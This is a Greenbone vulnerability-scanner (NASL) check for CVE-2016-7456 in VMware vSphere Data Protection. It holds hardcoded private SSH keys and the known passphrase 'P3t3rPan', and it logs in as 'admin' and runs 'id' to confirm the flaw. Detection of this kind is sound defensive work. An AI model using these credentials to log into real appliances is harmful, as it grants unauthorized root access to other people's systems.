VMware vSphere Data Protection (VDP) updates address SSH Key-Based authentication issue (VMSA-2016-0024, admin_key) - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140103");
  script_cve_id("CVE-2016-7456");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2026-04-28T06:28:06+0000");
  script_name("VMware vSphere Data Protection (VDP) updates address SSH Key-Based authentication issue (VMSA-2016-0024, admin_key) - Active Check");

  script_xref(name:"URL", value:"http://www.vmware.com/security/advisories/VMSA-2016-0024.html");

  script_tag(name:"vuldetect", value:"Try to login with a known private SSH key.");

  script_tag(name:"solution", value:"Apply the update from the referenced vendor advisory.");

  script_tag(name:"summary", value:"VMware vSphere Data Protection (VDP) updates address SSH key-based authentication issue.");

  script_tag(name:"insight", value:"VDP contains a private SSH key with a known password that is configured to allow key-based
  authentication. Exploitation of this issue may allow an unauthorized remote attacker to log into the appliance with root privileges.");

  script_tag(name:"affected", value:"VDP 6.1.x, 6.0.x, 5.8.x, 5.5.x.");

  script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-01-03 18:43:00 +0000 (Tue, 03 Jan 2017)");
  script_tag(name:"creation_date", value:"2016-12-28 11:03:22 +0100 (Wed, 28 Dec 2016)");
  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");
  script_category(ACT_ATTACK);
  script_family("General");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("ssh_detect.nasl", "gb_default_credentials_options.nasl");
  script_require_ports("Services/ssh", 22);
  script_mandatory_keys("ssh/server_banner/available");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  exit(0);
}

# If optimize_test = no
if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("ssh_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ssh_get_port(default:22);

if(ssh_dont_try_login(port:port))
  exit(0);

keys = make_list(
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Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,A0FC854090ADCD630A163F3FD6380E4F

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-----END RSA PRIVATE KEY-----',
'-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DFDBC4B8EF3708FC

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-----END RSA PRIVATE KEY-----');

user = "admin";
pf = "P3t3rPan";

foreach key ( keys )
{
  if( ! soc = open_sock_tcp( port ) )
    continue;

  login = ssh_login( socket:soc, login:user, password:NULL, priv:key, passphrase:pf );
  if( login == 0 )
  {
    cmd = "id";
    res = ssh_cmd( socket:soc, cmd:cmd );
    close( soc );
    if( res =~ "uid=[0-9]+.*gid=[0-9]+" )
    {
      security_message( port:port, data:'It was possible to login as user "' + user + '" using a known SSH private key with passphrase "' + pf  + '" and to execute the "' + cmd + '" command. Result:\n\n' + res);
      exit( 0 );
    }
    exit( 0 );
  }

  if( soc ) close( soc );
}

exit( 99 );